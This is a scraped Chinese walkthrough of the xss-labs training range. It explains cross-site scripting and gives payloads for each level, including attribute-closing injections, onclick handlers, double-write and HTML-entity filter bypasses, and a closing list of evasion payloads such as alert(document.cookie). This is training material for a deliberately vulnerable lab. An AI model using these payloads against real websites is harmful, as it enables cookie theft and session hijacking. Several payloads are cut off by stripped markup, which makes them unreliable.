xss |
您所在的位置:网站首页 › masters下载 › xss |
xss-labs 靶场攻略 先讲讲什么是跨站脚本攻击XSS(Cross Site Scripting) XSS原理本质上是针对html的一种注入攻击,没有遵循数据与代码分离的原则,把用户输入的数据当作代码来执行xss跨站脚本攻击是指恶意攻击者往Web页面里插入恶意脚本代码(包括当不限于js,flash等等),当用户浏览该页面时,嵌入其中Web里面的脚本代码会被执行,从而达到恶意攻击用户的目的。为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,所以将跨站脚本攻击缩写为XSS。 初学xss,最好的靶场莫过于xss-labs,直接开搞,这是下载链接https://github.com/do0dl3/xss-labs 搭建好后的开始界面如下 首先我们先简单了解一下,过关的机制,拿第一关level1.php源码举例子代码如下(懂代码的不一定是搞安全的,搞安全的一定是懂代码的) window.alert = function() { confirm("完成的不错!"); window.location.href="level2.php?keyword=test"; } 欢迎来到level1 欢迎来到level1![]() 过关就一点,让浏览器蹦出弹窗即可进入下一关。但是注意!初学者不要F12自己改前端的代码,自己蹦弹窗,这是起不到训练的目的的。 第一关 直接注入
第一关代码上面写了,没有任何过滤,直接写上 源码 window.alert = function() { confirm("完成的不错!"); window.location.href="level3.php?writing=wait"; } 欢迎来到level2 欢迎来到level2![]() 我们输入的数据被写入了value里,可以添加 "> 来闭合前面的 payload ">alert(1)先讲讲htmlspecialchars 使用htmlspecialchars函数把预定义的字符&、”、 ’、转换为HTML实体,防止浏览器将其作为HTML元素 但是默认是只编码双引号的,而且单引号无论如何都不转义。 htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。 预定义的字符是: - & (和号)成为 amp; - " (双引号)成为 quot; - ' (单引号)成为 ' - < (小于)成为 lt; - > (大于)成为 gt;添加鼠标点击,出现弹窗即可 payload 'onclick='alert(1)然后网页的表单输入框的就会被添加 onclick属性,我们点击一下,输入框即可过关 和第三关差不多只是在第三关的基础上添加了对 尖括号的过滤 window.alert = function() { confirm("完成的不错!"); window.location.href="level5.php?keyword=find a way out!"; } 欢迎来到level4 欢迎来到level4![]() payload " onclick="alert(1)第五关过滤了 on 和
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level7.php?keyword=move up!";
}
欢迎来到level6
欢迎来到level6
payload "> ">这次学聪明了,把我们输入的强制改成了小写,但是过滤不严谨,我们可以双写绕过 window.alert = function() { confirm("完成的不错!"); window.location.href="level8.php?keyword=nice try!"; } 欢迎来到level7 欢迎来到level7![]() 没有循环过滤 把大小写屏蔽了 payload ">alert(1)这一关黑名单过滤还是挺严的,但是我们可以用HTML实体来绕过过滤(单单黑名单还是不安全嘞) window.alert = function() { confirm("完成的不错!"); window.location.href="level9.php?keyword=not bad!"; } 欢迎来到level8 欢迎来到level8payload arg01=version&arg02=123 第二十关 反编译能力之外啦,以后学有所成再来补档! arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1) 个人总结的一些payload理论上来讲,xss漏洞是可以彻底解决的,但是市面上还是 有不少的,以后再和大家分享我的挖洞经历吧!下面的payload不同场合适当加上 "> 来闭合页面的包含。还有一些payload,我复现没成功就不列举了(有些过时了被修复了) alert(document.cookie) prompt(document.cookie) confirm(/xss/) \u0061\u006C\u0065\u0072\u0074(1) //Unicode码 还有十六进制 URL编码 JS编码 HTML实体编码等等 alert/*dsa*/(1) //绕过黑名单 (alert)(1) //绕过黑名单 //过滤 script时 "> |
今日新闻 |
推荐新闻 |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |